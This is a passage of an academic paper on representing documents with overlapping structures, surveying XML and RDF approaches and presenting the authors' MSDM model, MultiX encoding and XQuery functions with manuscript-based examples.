<Word>per</Word> <Word>ge</Word> <Word>mid</Word>
<Word>pinre</Word> <Word>smealican</Word> <Word>spra</Word><Line>
<Word>ce</Word>, <Word>ge</Word> <Word>mid</Word>
<Word>pinre</Word> <Word>wynsumnesse</Word><Line>
<Word>pines</Word></Line>
</Words>
</Lines>
</? mlx>
```
LISTING 4 MULAX ILLUSTRATION
Standard XML tools can only be used on the individual XML projections. Thus, inter-structural relationships remain out of reach. No query operators are defined but the authors give some hints on how XPath could be extended to navigate in a MuLaX document. Moreover, updates are difficult because working on MuLaX documents implies frequent projections to XML files. Indeed one should never modify a projection but only the main document. Finally, an editor has been developed as an Eclipse plugin for the creation of MuLaX documents.
2.5.4 Annotations graph
Annotation graphs (Bird, Liberman, & Walker, 1999) appeared in the context of language analysis. Thus, they take into account linguistic domains (phonetics, prosody, morphology, syntax, etc). In our context, these domains can be considered as multiple structures. The same text fragment could be annotated by edges belonging to different structures (as shown in Figure 4). The data fragmentation corresponds to words or to characters if it is necessary. The labels associated with the oriented edges identify elements of annotation within a specific structure (for example ‘S2:w’).

FIGURE 4 ANNOTATIONS GRAPH ILLUSTRATION
The physical model could be serialized to XML (using attributes of types ID and IDREF). Thus available XML tools and languages can be used for each extracted hierarchical structure. However, the document as a whole cannot be the object of any treatment by standard XML tools. A prototypical query language (Bird, Buneman, & Tan, Towards a Query Language for Annotation Graphs, 2000) has been defined for annotations graphs. Moreover, structures remain easy to update since they share the same data. Finally, there exists an implementation called AGTK (Annotation Graph Toolkit)5.
2.5.5 RDFTef
In a very similar way to the Annotation Graph proposal, RDFTef (Tummarello, Morbidoni, & Pierazzo, 2005) makes use of the RDF (Resource Description Framework) formalism to provide a framework for the modeling of multi-structured documents. This method takes advantage of the RDF graph model, which may be used to encode complex structures with overlapping elements. However, contrary to the Annotation Graphs, RDFTef is based on a well-defined standard formalism. Moreover, this RDF based proposal is not oriented toward a specific domain. RDF can be serialized to XML but since the model is a graph the use of standard XML tools is not satisfactory. However, standard RDF query tools (such as SPARQL) can be used but medium complexity queries can be difficult to formulate. Moreover, structures and data changes are theoretically possible since there is only one graph. Finally, a prototype implementation based on the Jena Java RDF library is available online⁶.
2.5.6 EARMARK
Among the RDF based solutions, EARMARK (Peroni & Vitali, 2009) is certainly the most convincing one. The notions of “location”, “range”, “markup item”, etc. used for the modeling of multi-structured documents are precisely defined within an OWL ontology (see Figure 5 for an excerpt of the ontology).
Tools are provided to convert an EARMARK instance into an XML document with, for example, empty elements. However, standard XML tools can’t be used directly with an EARMARK document. Being a graph model, EARMARK doesn’t make any low-level distinction between structures. Moreover, the SPARQL language can be used for querying the documents. For updates, the graph can be easily manipulated through standard RDF APIs. Finally, a prototype implementation exists, though it doesn’t seem to be available on the Web. However, the main contribution lies in the OWL ontology and can be implemented with any standard OWL engine.
⁶ http://rdftef.sourceforge.net/
2.5.7 GODDAG
The GODDAG (General Ordered Descendant Directed Acyclic Graph) (Dekhtyar & Iacob, 2005) logical model can be used for the creation of an internal representation of concurrent XML structures. The obtained graph structure resolves the overlapping problem. As shown on Figure 6, several trees are defined over the same content by sharing their leaves (for example: textual fragments). All nodes have at least one common ancestor: the document root.

First of all, functions for importing (resp. exporting) from (resp. to) XML are defined. Moreover, new axes are provided for the XPath language. Therefore, the standard XML tools can be used in a natural way. For querying GODDAG, the authors propose an extension of the XPath language. This extension is based on a set of new axes that lead to nodes according to their relations and independently from the structures to which they belong: it is possible to reach every ancestor (axis xancestor) of a node in every hierarchy to which it belongs. In a similar way, other axes are defined: xdescendant, xfollowing, xpreceding, overlapping, following-overlapping and preceding-overlapping. Moreover, operators are defined to manage changes in the structures. However, the raw data cannot be updated. Finally, the implementation is based on a generalization of the DOM tree for the representation of multi hierarchical XML documents.
2.5.8 MCT
The MCT model (Multi-Colored Trees) (Jagadish, Lakshmanan, Scannapieco, Srivastava, & Wiwatwattana, 2004) is an extension of the XML model making possible the representation of multiple trees that share a same content. It relies on the tree coloring technique. A color is associated with each tree. A node may have multiple colors: the color of the main tree to which it belongs and colors for other trees. Figure 7 illustrates this model with our running example of a manuscript transcription. We see that three of the unit nodes share two colors: one for the syntactical structure of words and another one for the physical structure of lines.
Navigation inside the multi-hierarchy is possible by means of the multicolored nodes. Indeed, the XPath step has been extended with color choice. Thus, the model can be manipulated with standard XML tools. However, one has to choose a first color. Then the new structures are built relatively to this first structure which becomes a master structure. Together with the new XPath step, an XQuery extension has been proposed for, among others features, creating new colored nodes. Moreover, concerning updates, the authors believe that, through the XPath extension they offer, the XUpdate language could be adapted. Finally, the model has been implemented as an extension to the Timber\(^7\) XML database.
2.5.9 Delay Nodes
The XDM\(^8\) data model on which are based XPath and XQuery, distinguishes seven kinds of nodes in a document tree: document, element, attribute, text, namespace, processing instruction, and comment. To address the problem of concurrent hierarchy, Jacques Le Maître in (Le Maître, 2006) adds a new kind of node: the delay node. A delay node is the virtual representation, by an XQuery query, of some of the descendant of one of its ancestors as shown in Figure 8.
---
\(^7\) [http://www.eecs.umich.edu/db/timber/](http://www.eecs.umich.edu/db/timber/)
\(^8\) [http://www.w3.org/TR/xpath-datamodel/](http://www.w3.org/TR/xpath-datamodel/)
After the XDM model has been modified by the addition of delay nodes, no XPath nor XQuery extensions are needed. However, the ability to navigate among the concurrent trees is only valid for the descending axis: child and descendant. Going upward from a delay node is not possible. Moreover, one structure is considered as the main structure, while others make use of delay nodes. Except for the inability to navigate inside concurrent trees differently than along the descending axis, XQuery can be used quite straightforwardly. However, changes in data or structures are very difficult to achieve since we should modify the queries of the delay nodes at a syntactical level. Finally, in (Le Maître, 2006), it is said that a prototype has been implemented on top of the authors’ own XQuery engine. However, it doesn’t seem to be available on the Web.
2.5.10 MSXD
MSXD (Multi-Structured XML Documents) (Bruno & Murisasco, 2006) is a proposal that provides a formal model and a query language defined as an extension of XQuery that let the structure of an XQuery unchanged. Moreover, users can annotate structural elements. MSXD is also one of the first attempts to define a schema for multi-structured textual documents. However, from a practical point of view, the need to define (a great number of) constrains between structures is not obvious. The core model of MSXD is based on the use of hedges (the foundation of RelaxNG). In fact, each structure must be hierarchical and is associated with a RelaxNG Schema. Then, Allen’s relations (after, equals, overlaps, etc.) can be defined between fragments of different structures. Thus, the individual structures are classic XML documents. Moreover, syntax has been defined to represent the union of the multiple structures in a single XML document. XQuery functions are provided in order to deal with multi-structured documents (the core of the XPath/XQuery model doesn’t need to be modified). However, modifications of structures and data remain impossible. Finally, a prototype implementation is available online with both the MSXD model and the new XQuery functions.
http://sis.univ-tln.fr/msxd/
2.5.11 MONETDB / XQUERY
MonetDB/XQuery is an XML DBMS. MonetDB/XQuery stand-off extension (Alink, Bhoedjang, Vries, & Boncz, 2006) is an efficient implementation of query operators for multi-structured documents represented by stand-off markup. Stand-off annotations are modelled with a subset of the interval algebra. The annotated binary object (text, video, etc.) must be addressable with intervals. An interval is a couple \((\text{start}, \text{end})\) where \(\text{start}\) and \(\text{end}\) positions must be of the same data type and this data type must support full ordering (for example integers). Since the solution supports the annotation of non-contiguous regions, the interval algebra is reduced to the two relations of \(\text{containment}\) and \(\text{overlap}\). See Listing 5 for an illustration of the MonetDB stand-off extension syntax.
```
<?xml version ="1.0" encoding ="utf-8"? >
<manuscript>
<physical>
<lines>
<line start="1" end="28"/>
<line>
<region>
<start>29</start>
<end>59</end>
</region>
</line>
<!-- Etc. etc. -->
</lines>
</physical>
<syntactical>
<words>
<word start="1" end="2"/>
<!-- Etc. etc. -->
<word start="27" end="31"/>
<!-- Etc. etc. -->
</words>
</syntactical>
</manuscript>
```
LISTING 5 ILLUSTRATION OF MONETDB / XQUERY SYNTAX
With the provided XPath steps and the integration to an existing XML database management system; this proposal can be used with the standard XML tools. Moreover, this solution offers an efficient implementation of stand-off joins as new XPath steps. Thus, the multi-structured documents can be queried quite naturally. However, as for other stand-off solutions, updates can be difficult, no specific tools being provided. Finally, this solution relies on MonetDB, a well-known, efficient and open-source DBMS\(^{10}\). However, the development of MonetDB/XQuery has been frozen in March 2011\(^{11}\) and the project will not be ported to MonetDB version 5.
\(^{10}\) http://monetdb.cwi.nl/
\(^{11}\) http://www.monetdb.org/XQuery
2.6 CONCLUSION
Finally, from the set of dimensions we chose to keep and the requirements we expressed for each one of them (see paragraph 2.2 p. 6), we can now explain what makes our own model necessary. We should sum up some important points of the previous solutions.
The TEI solutions are not based on a proper formal model and can’t be used with standard XML tools. CONCUR was certainly interesting but came with no tools for dealing with multi-structured documents.
MuLaX transposed the CONCUR idea to the XML world but, since there is no convenient way for querying MuLaX document, this solution can’t be retained.
TexMECS and LMNL chose to develop new models, grammars and syntaxes to answer the needs of multi-structured documents management; however with their current limitations they cannot be considered as generic solutions.
Annotation Graphs, RDFTeF and then EARMARK avoid the problems caused by the tree model of XML by considering formalisms and models that work directly with graphs. The choice of RDF with SPARQL, its query language, makes a well-adapted solution. However, we strongly believe that the XML-compatibility criterion is essential. Indeed, a large number of the existing projects dealing with complex electronic documents are using XML. Moreover, standardization initiatives, such as the TEI or EAD (Encoded Archival Description)\(^{12}\) etc. are also using XML.
Among the stand-off markup solutions, Delay Nodes and MCT are very clever ones. Their models are interesting. However, they have to give privileges to one of the structures; and it has been explained, in paragraph 1.2.5 page 5, that a free fragmentation of the raw content and truly independent structures are essential characteristics for a satisfactory multi-structured documents management system.
MonetDB and MSXD are based on the GODDAG stand-off markup solution but none of them can easily manage the modifications of data and structures (this is common to many stand-off techniques). Moreover, MonetDB and MSXD both rely on extensions of XPath with new steps. This choice tends to make the solutions dependent on a particular implementation.
Thus, we now propose our own model: MSDM, a Multi-Structured Document Model. It is based on a stand-off markup approach and thus relies on a well-defined formal model of multiple rooted trees. Being implemented through a few XQuery functions, it remains fully compatible with the galaxy of known XML tools. It doesn’t rely on any privileged master structure and is therefore well adapted for the modeling of complex multi-structured documents. Finally, updating is possible thanks to a specialized parser. This model will now be described in full details.
3 MSDM: MULTI-STRUCTURED DOCUMENT MODEL
To answer the problem of multiple structuring, we have proposed a specific model called the Multi-Structure Document Model (MSDM) (Chatti, Kaouk, Calabretto, & Pinon, 2007). As many of the previous solutions, ours is based on the stand-off markup method where structures point to the content stored separately. However, we approach the problem in a more general way. In fact, we assume that multiple structures can share the exact same content fragments, and not necessarily exactly the same content. Thus, for our model, concurrent structures are a particular case of multi-structured documents.
\(^{12}\) http://www.loc.gov/ead/
In this model, which is inspired by the model defined in (Abascal, et al., 2003), a multi-structured document is defined using the three following notions:
- **Documentary Structure (DS):** this is a description of a document content defined for a specific use. Such a structure may be, for example, a physical structure used for presentation purposes, or a syntactical structure defined for statistical analysis, etc.
- **Basic Structure (BS):** this structure organizes the content in disjoint elementary fragments. These fragments are then composed in order for the documentary structures to refer to their content by pointing to these composition nodes.
- **Correspondences:** a correspondence is a relationship between two elements of two distinct structures. The source of a correspondence is always an element of a documentary structure. When the target is a composition node of the basic structure, the correspondence is used for identifying the content of a documentary structure node. Otherwise, it indicates a relation between two documentary structures, the nature of which depends on the context of the application, it could, for example, indicates a synonymy between two nodes of two distinct DS, it could also, as in our manuscript example, link the transcription of a line to the corresponding region of the manuscript’s image, etc.
Figure 9 illustrates these notions on the previous example of a manuscript transcription.
To clarify even further the model, Listing 6 gives an XML representation of the four DS of Figure 9 before factorization of the content inside BS.
3.1 FORMALIZATION
We present in this section the formal description of our multi-structured document modeling approach. We first define the concept of multi-structured document and then we describe formally all the necessary notions.
**Definition 1 (Multi-structured Document):**
A multi-structured document \( D \) is a graph defined by the triplet \( D = (BS, \Sigma, C) \) where:
- \( BS \) is an oriented graph called the basic structure of \( D \);
- \( \Sigma \) is a set of graphs called the documentary structures;
- \( C \) is a set of relations between nodes of \( \Sigma \)-graphs or \( BS \). We call these relations *correspondences* between structures.
### 3.1.1 Basic Structure
**Notations:**
- \( F(D) \) designates the set of all possible content fragments of a document \( D \).
- \( \phi(D) = \{ \varphi : (F(D))^p \rightarrow F(D) \mid p \geq 1 \} \) is the set of all the functions that compose a piece of content from a series of smaller pieces. For example, the function that creates the string "ab" by concatenation of the two fragments \((a,b) \in F(D)^2\) is an element of \( \phi(D) \).
The compositions are possible only for fragments with a same media type: this is the *homogeneity constraint* for compositions. To ensure a minimum level of abstraction, we do not debate here the details of composition functions. However, we will later illustrate our model with an example where a specific use of fragment compositions will appear.
**Definition 2 (Basic Structure):**
The basic structure of a multi-structured document \( D \) is an internal structure that stands as a base for sharing the same content among several structures. It is formally defined as a graph \( BS = (v, e) \) where:
- root is the root node of \( BS \), each node is part of a path originating from it. This node has no associated semantic; it only provides connectivity to the graph.
- \( F_{\text{Base}}(D) \subset F(D) \) is the set of all disjoint fragments, called base fragments, from which other fragments can be composed and associated to document structures through correspondences. Each node \( n \in F_{\text{Base}}(D) \) is the destination of one or more edges from composition nodes.
- \( N_{\text{comp}} \) is the set of composition nodes, i.e. the nodes that represent parts of content composed of smaller fragments. Each node \( n \in N_{\text{comp}} \) is the destination of exactly one edge with origin the root node. So the subgraph of \( BS \) whose nodes are \( \{\text{root}\} \cup N_{\text{comp}} \) is a trivial tree. Moreover each node \( n \in N_{\text{comp}} \) is labelled with a function \( f \in \phi(D) \) that prescribes the composition of the elements of \( F_{\text{Base}}(D) \) linked to \( n \).
- \( v = \{\text{root}\} \cup N_{\text{comp}} \cup F_{\text{Base}}(D) \) is the set of vertices of \( BS \)
- \( \text{comp}(n) \) with \( n \in N_{\text{comp}} \) is the set of all the edges from the composition node \( n \) to one or more elements of \( F_{\text{Base}}(D) \). Each of these edges is labeled with an integer, that makes \( \text{comp}(n) \) a totally ordered set. This order may be used by a function \( f \in \phi(D) \) associated with \( n \) to compose the elements of \( F_{\text{Base}}(D) \) in the appropriate order.
- \( e = \{(\text{root}, c) \mid c \in N_{\text{comp}} \cup (\cup n \in N_{\text{comp}} \text{ comp}(n)) \} \) is the set of edges of \( BS \).
### 3.1.2 Documentary Structures
**Definition 3 (documentary Structure):**
A documentary structure is a set of structured descriptors applied to documentary content. Formally, a documentary structure is a tree defined by: $\text{DS} = \langle E, A, L, l_E, l_A \rangle$ where:
- $E$ is a finite set of vertices we call structural elements.
- $A \subseteq E \times E$ is a finite set of binary relations between structural elements. These relations must form a tree.
- $L$ is a finite set of labels.
- $l_E : E \rightarrow L$ is a function that associates each structural element in $E$ with a label in $L$.
- $l_A : A \rightarrow L$ is a function that associates each edge in $A$ with a label in $L$.
In this definition we followed a simple approach in the representation of documentary structures. The most important thing in our model is not the representation of documentary structures, but the representation of the basic structure and of the correspondences.
3.1.3 CORRESPONDENCES
The multi-structured document is a graph consisting of a set of graphs (documentary structures and a basic structure) whose elements (i.e. composition nodes of the basic structure and structural elements of the documentary structures) can be linked by correspondence relationships.
A correspondence, noted $\text{DS} \rightarrow \text{BS}$, associates the document structures with their original contents (PCDATA for the textual content, in XML terminology) reconstructed from the basic structure. There are also $\text{DS} \rightarrow \text{DS}$ correspondences and the following MultiX formalism offers a way for representing them, however they can also be implemented by means of any XML linking mechanism and don’t per se belong to the MSDM model.
In the next section, the MultiX formalism is used to XML-encode the multi-structured document created from these four structures.
4 MULTIX: XML APPLICATION BASED ON MSDM MODEL
The MultiX formalism is an XML application based on the MSDM model. It consists in the serialization of a multi-structured document into a well formed XML document. We call a multi-structured document encoded within this formalism: a MultiX document. Such a document is composed of three parts: the documentary structures (DS), the basic structure (BS) and the correspondences. A MultiX document must have the skeleton depicted on Figure 10.
4.1 Encoding the Basic Structure
The basic structure provides an organization of the content into a set of disjoint fragments and a set of fragments’ compositions from which PCDATA's of the original documentary structures can be rebuilt. The basic structure is mainly defined by the fragmentation of shared content so as to avoid content redundancy. For example, if we factorize the content of the first line in the physical structure with the first six words in the lexical structure and the first element in the damaged structure, we obtain this set of fragments: {“hu”, “þu”, “m”, “e”, “hæfst”, “afrefredne”, “æg”}. This is the minimal set of disjoined fragments that can be used to rebuild the three documentary structures. In case of our entire running example, the basic structure’s fragments would be encoded in the following way:
```
<msd:BS>
<msd:fragments>
<msd:frag id="SP"> </msd:frag>
<msd:frag id="F1">hu </msd:frag>
<msd:frag id="F2">þu</msd:frag>
<msd:frag id="F3">m</msd:frag>
<msd:frag id="F4">e</msd:frag>
<msd:frag id="F5">hæfst</msd:frag>
<msd:frag id="F6">afrefredne</msd:frag>
<msd:frag id="F7">æg</msd:frag>
</msd:fragments>
</msd:BS>
```
Apart from fragments, the basic structure is also made of composition nodes (see Figure 11) which define compositions of fragments later associated to documentary structures through correspondences.
For example, the composition enabling the reconstitution of the content of the first line element in the physical structure will be encoded as follows:
The ‘id’ attribute identifies the composition element. The ‘idrefs’ attribute value is a sequence of fragment identifiers. Each composition provides a string obtained by concatenating the identified content fragments. The ‘SP’ fragment must always be available and provides a single space character.
The ‘msd:compositions’ element of the basic structure must contain all the compositions necessary for rebuilding the documentary structures content.
4.2 Encoding of Documentary Structures and Correspondences
A MultiX document may have several documentary structures encoded inside ‘msd:DS’ elements. A documentary structure in the MultiX formalism is similar to its standard XML representation except for the actual content that is replaced by ‘DS→BS’ correspondences pointing to composition nodes.
In general, a correspondence has a source, a target and a label. For the ‘DS→BS’ correspondences the target is always a composition in the basic structure. The source of this correspondence type represents the position in the documentary structure where the composed content should be placed.
Inside a MultiX document, the correspondences are defined in the ‘msd:correspondences’ element (see Figure 12). The source is located by the ‘msd:anchor’ element inserted at the desired position in the documentary structure.

For example, to rebuild the original PCDATA of the third line element of the physical structure, we can define two correspondences by inserting anchors in appropriate positions:
```xml
<line n="3"><msd:anchor id="A.lne.3.1"/><msd:anchor id="A.lne.3.2"/></line>
```
We then create the ‘msd:clink’ elements as follows:
```xml
<msd:correspondences>
<!-- ... -->
</msd:correspondences>
```
The target attribute of the ‘msd:clink’ element indicates the type of the correspondence: “BS” for a DS→BS correspondence, and “DS” for a DS→DS correspondence. With this external form of correspondences the anchors can be reused. For example, an anchor that is a source of a DS→BS correspondence can also be used as the source or the target element of relations between documentary structures. In addition, compared with XPath expressions, the use of an anchor minimizes the required correspondences’ updates after the modification of the documentary structures.
5 QUERYING MULTIX DOCUMENTS
There are several XML query languages that may be used to query MultiX documents. However, when using these languages the MultiX documents are viewed as pure XML documents. An important effort is then necessary to create queries that take into account the semantic of the MultiX formalism. To be queried easily, the MultiX formalism needs an adapted query language. XQuery (W3C, 2010) is a powerful language and a W3C recommendation inspired by SQL. In order to adapt this language to MultiX, we have implemented a library of XQuery functions (MXQ\textsuperscript{13}) for exploiting MultiX documents. These functions aim at simplifying the writing of queries involving several structures. With them, we can for example check if some content is shared by two or more structures. Moreover, it becomes easy to explore relations between elements of different structures. Before demonstrating how to use our library through some examples, we shall describe a specific function called ‘rebuild’.
5.1 DOCUMENTARY STRUCTURE RECONSTITUTION
If we apply queries on MultiX documents, items returned are incomplete or incomprehensible. Indeed, instead of textual content we get references to correspondences to the basic structure. Other elements, referring to relations between documentaries structures can also be found. Therefore it is essential to translate these references properly, and to present the results in a readable form, as if the structures were encoded separately. These transformations are performed in a transparent way thanks to the ‘rebuild’ function. This function has the following signature:
\[
\text{mxq:rebuild}($\text{elem-seq as element}()*) \text{ as element}()*
\]
With this function we can rebuild a sequence of elements belonging to document structures. The goal of the recovery is to reproduce the tree structure, transforming the DS→BS correspondences into their calculated content.
Thanks to this feature, we do not have to handle independently multiple versions of the structures. The dependent form, within a MultiX document, ensures structure scalability and consistency. But the independent form can be useful for treatments; it is in particular better suited for query operations when there is no necessity to take into account the interactions between structures. Thus, MXQ can always provide updated and coherent structures of a MultiX document in the form of classic XML documents.
\textsuperscript{13}http://liris.cnrs.fr/~peportie/multix/mxq.html
5.2 Querying MultiX Documents with XQuery
When querying MultiX documents, multiple structures can be involved through their correspondences. The DS\rightarrow BS correspondences can provide information about the content shared by various structures. This information can be obtained through the fragments of the basic structure. Moreover, the exploration of relations between documentary structures can be very helpful and always depends on the semantic of the document's domain.
Apart from the “rebuild” function introduced above, the MXQ library includes the following functions:
1. Functions handling DS\rightarrow BS correspondences:
a. share-content($e$ as element()) as xs:Boolean
tests if the argument share some content with elements from other documentary structures than the one it belongs to. N.B. the special ‘SP’ fragment representing a single space is not considered in the process of finding shared content.
b. share-content-with($e$ as element(), $str_name$ as xs:string) as element()*
returns the elements from $str_name$ documentary structure pointing to a subset of the BS nodes composing the first argument.
c. share-fragments($e1$ as element(), $e2$ as element()) as xs:Boolean
tests if the arguments share some content.
d. get-shared-fragments($e1$ as element(), $e2$ as element()) as element(msd:frag)*
returns the fragments shared by the arguments.
e. include-fragments-of($e1$ as element(), $e2$ as element()) as xs:Boolean
tests if the content of the second argument is included in the first; the order of the fragments is not meaningful.
f. same-fragments($e1$ as element(), $e2$ as element()) as xs:Boolean
tests if the two arguments are equal in content.
g. include-content-of($e1$ as element(), $e2$ as element()) as xs:boolean
tests if the content of the second argument is included in the first; the order of the fragments being relevant.
2. Functions handling relations between documentary structures:
a. get-corr-target-from($e$ as element(), $label$ as xs:string) as element()*
returns the elements target of a DS\rightarrow DS correspondence that originates in the first argument and is labeled by the second.
b. get-corr-target($label$ as xs:string, $d$ as document-node()) as element()*
returns the targets of a DS\rightarrow DS correspondence that originates in any of the elements of the second argument and is labeled by the first.
c. get-corr-source($label as xs:string) as element()*
returns the elements source of a DS→DS correspondence labeled by the argument.
d. exists-corr-between($e1 as element(), $e2 as element()) as xs:Boolean
tests if there is a DS→DS correspondence from the first argument to the second.
e. is-correspondence($e1 as element(), $e2 as element(), $label as xs:string) as xs:Boolean
tests if there is a correspondence named by the last argument and linking the first to the second.
We now illustrate the use of these functions on our manuscript example.
Q1: Find all damaged words that only contain damaged characters.
```xquery
xquery version "1.0";
import module namespace mxq = "multixlib" at "multixlibrary.xquery";
declare namespace msd = "http://www.msdm.org/2006/MULTIX";
declare namespace str2 = "http://exemple.org/words";
declare namespace str3 = "http://exemple.org/damaged";
<TEST xmlns:msd="http://www.msdm.org/2006/MULTIX">
{
let $doc := doc("manuscript.xml")
for $w in $doc//msd:DS[@name = "words"]//str2:w,
$d in $doc//msd:DS[@name = "damaged"]//str3:dmg
where mxq:same-fragments($w, $d)
return
mxq:rebuild($w)
}
</TEST>
```
Result:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<TEST xmlns:msd="http://www.msdm.org/2006/MULTIX">
<w>mid</w>
</TEST>
```
Q2: Find all the words that overlap two physical lines.
```xquery
xquery version "1.0";
import module namespace mxq = "multixlib" at "multixlibrary.xquery";
declare namespace msd = "http://www.msdm.org/2006/MULTIX";
declare namespace str1 = "http://exemple.org/lines";
declare namespace str2 = "http://exemple.org/words";
<TEST xmlns:msd="http://www.msdm.org/2006/MULTIX">
{
```
We use the fact that a word that splits on two lines only shares parts of its fragments with each line.
Result:
<?xml version="1.0" encoding="UTF-8"?>
<TEST xmlns:msd="http://www.msdm.org/2006/MULTIX">
<w>ægþer</w>
<w>spræce</w>
</TEST>
Q3: Find all words with restored characters. Indicate for each of them the restored characters and the region of the manuscript image where those characters can be seen.
```xml
<xquery version="1.0";
import module namespace mxq = "multixlib" at "multixlibrary.xquery";
declare namespace msd = "http://www.msdm.org/2006/MULTIX";
declare namespace str1 = "http://exemple.org/lines";
declare namespace str2 = "http://exemple.org/words";
declare namespace str3 = "http://exemple.org/damaged";
declare namespace str4 = "http://exemple.org/text-regions";
<TEST xmlns:msd="http://www.msdm.org/2006/MULTIX">
let $doc := doc("manuscript.xml")
for $w in $doc//msd:DS[@name = "words"]//str2:w, $r in $doc//msd:DS[@name = "damaged"]//str3:res
where mxq:share-fragments($r, $w)
return
<words-with-rest-char>
(mxq:rebuild($w),
<rest-char>{mxq:get-shared-fragments($r, $w)/text()}/rest-char),
for $l in $doc//msd:DS[@name = "lines"]//str1:line
where mxq:share-fragments($r, $l)
return mxq:get-corr-target-from($l, "localisation")
}
</words-with-rest-char>
</TEST>
```
We have shown some applications of the MXQ library. Its main purpose was to demonstrate the exploitability of multi-structured documents. Work has been done in (Alink, Bhoedjang, Vries, & Boncz, 2006) to determine the best ways of extending XQuery in the context of multi-structured documents represented by stand-off markup; it could certainly be used to efficiently implement the MXQ functions.
6 CONCLUSIONS
In this paper, we have defined a formal model for multi-structured documents: MSDM. The logical model of MSDM is a graph. A basic structure organizes the content in disjoint elementary fragments. Documentary structures point to the basic structure by way of composition nodes. Correspondences can be modeled between a documentary structure and the basic
structure, as well as between distinct documentary structures. The model takes into account inter-dependencies of structures with shared content.
XML is a widely used language and the basis of several other formalisms. That's why we proposed MultiX, an XML instance of the MSDM model. It can therefore benefit from several existing XML tools and formalisms. Thus, for example, we can use the XSLT language to extract and format the documentary structures of a MultiX document. Moreover, we have developed a library of XQuery functions to easily explore multi-structured documents through elaborate queries. With these tools, we could now consider “Multi-Structured Information Retrieval”. This concept could be attached to the Web of Data in order to provide many points of view on the same raw content.
The creation of a multi-structured document from structures that share content is generally not an easy task for a human operator. The complete or partial automation of this task is sometimes necessary. We have already implemented the MXP parser (Multi-XML parser) (Chatti N., 2006) in order to create an internal representation of a multi-structured document from XML structures encoded separately.
Finally, we have introduced the non-trivial problem of multi-structured documents construction. Although the XML enforcement of tree structures was considered for a long time the heart of the multi-structured document problem, we used it in the context of a new solution where the emergence of overlapping hierarchies triggers the creation of a new structure that has to be validated by a community of users. Thanks to the MSDM model, we have been able to address this new problem.
7 REFERENCES
|
{"Source-Url": "https://hal.archives-ouvertes.fr/hal-01353379/file/Liris-5448.pdf", "len_cl100k_base": 15648, "olmocr-version": "0.1.53", "pdf-total-pages": 36, "total-fallback-pages": 0, "total-input-tokens": 100423, "total-output-tokens": 18643, "length": "2e13", "weborganizer": {"__label__adult": 0.000507354736328125, "__label__art_design": 0.0028896331787109375, "__label__crime_law": 0.0006842613220214844, "__label__education_jobs": 0.01544952392578125, "__label__entertainment": 0.0005564689636230469, "__label__fashion_beauty": 0.0003826618194580078, "__label__finance_business": 0.0008883476257324219, "__label__food_dining": 0.0005331039428710938, "__label__games": 0.0011768341064453125, "__label__hardware": 0.0008950233459472656, "__label__health": 0.0007238388061523438, "__label__history": 0.0015811920166015625, "__label__home_hobbies": 0.0002460479736328125, "__label__industrial": 0.000720977783203125, "__label__literature": 0.007198333740234375, "__label__politics": 0.0005693435668945312, "__label__religion": 0.0011835098266601562, "__label__science_tech": 0.41845703125, "__label__social_life": 0.0004656314849853515, "__label__software": 0.07501220703125, "__label__software_dev": 0.46875, "__label__sports_fitness": 0.0003025531768798828, "__label__transportation": 0.0005970001220703125, "__label__travel": 0.0003285408020019531}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 72962, 0.02884]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 72962, 0.3784]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 72962, 0.87456]], "google_gemma-3-12b-it_contains_pii": [[0, 1055, false], [1055, 4142, null], [4142, 6860, null], [6860, 9300, null], [9300, 9532, null], [9532, 10934, null], [10934, 14365, null], [14365, 17362, null], [17362, 19537, null], [19537, 21071, null], [21071, 23261, null], [23261, 25561, null], [25561, 28692, null], [28692, 30650, null], [30650, 33159, null], [33159, 35110, null], [35110, 37210, null], [37210, 38576, null], [38576, 40726, null], [40726, 42848, null], [42848, 46230, null], [46230, 47673, null], [47673, 47820, null], [47820, 48214, null], [48214, 51702, null], [51702, 53991, null], [53991, 55228, null], [55228, 55580, null], [55580, 57349, null], [57349, 60428, null], [60428, 62886, null], [62886, 64565, null], [64565, 65940, null], [65940, 66707, null], [66707, 70082, null], [70082, 72962, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1055, true], [1055, 4142, null], [4142, 6860, null], [6860, 9300, null], [9300, 9532, null], [9532, 10934, null], [10934, 14365, null], [14365, 17362, null], [17362, 19537, null], [19537, 21071, null], [21071, 23261, null], [23261, 25561, null], [25561, 28692, null], [28692, 30650, null], [30650, 33159, null], [33159, 35110, null], [35110, 37210, null], [37210, 38576, null], [38576, 40726, null], [40726, 42848, null], [42848, 46230, null], [46230, 47673, null], [47673, 47820, null], [47820, 48214, null], [48214, 51702, null], [51702, 53991, null], [53991, 55228, null], [55228, 55580, null], [55580, 57349, null], [57349, 60428, null], [60428, 62886, null], [62886, 64565, null], [64565, 65940, null], [65940, 66707, null], [66707, 70082, null], [70082, 72962, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 72962, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 72962, null]], "pdf_page_numbers": [[0, 1055, 1], [1055, 4142, 2], [4142, 6860, 3], [6860, 9300, 4], [9300, 9532, 5], [9532, 10934, 6], [10934, 14365, 7], [14365, 17362, 8], [17362, 19537, 9], [19537, 21071, 10], [21071, 23261, 11], [23261, 25561, 12], [25561, 28692, 13], [28692, 30650, 14], [30650, 33159, 15], [33159, 35110, 16], [35110, 37210, 17], [37210, 38576, 18], [38576, 40726, 19], [40726, 42848, 20], [42848, 46230, 21], [46230, 47673, 22], 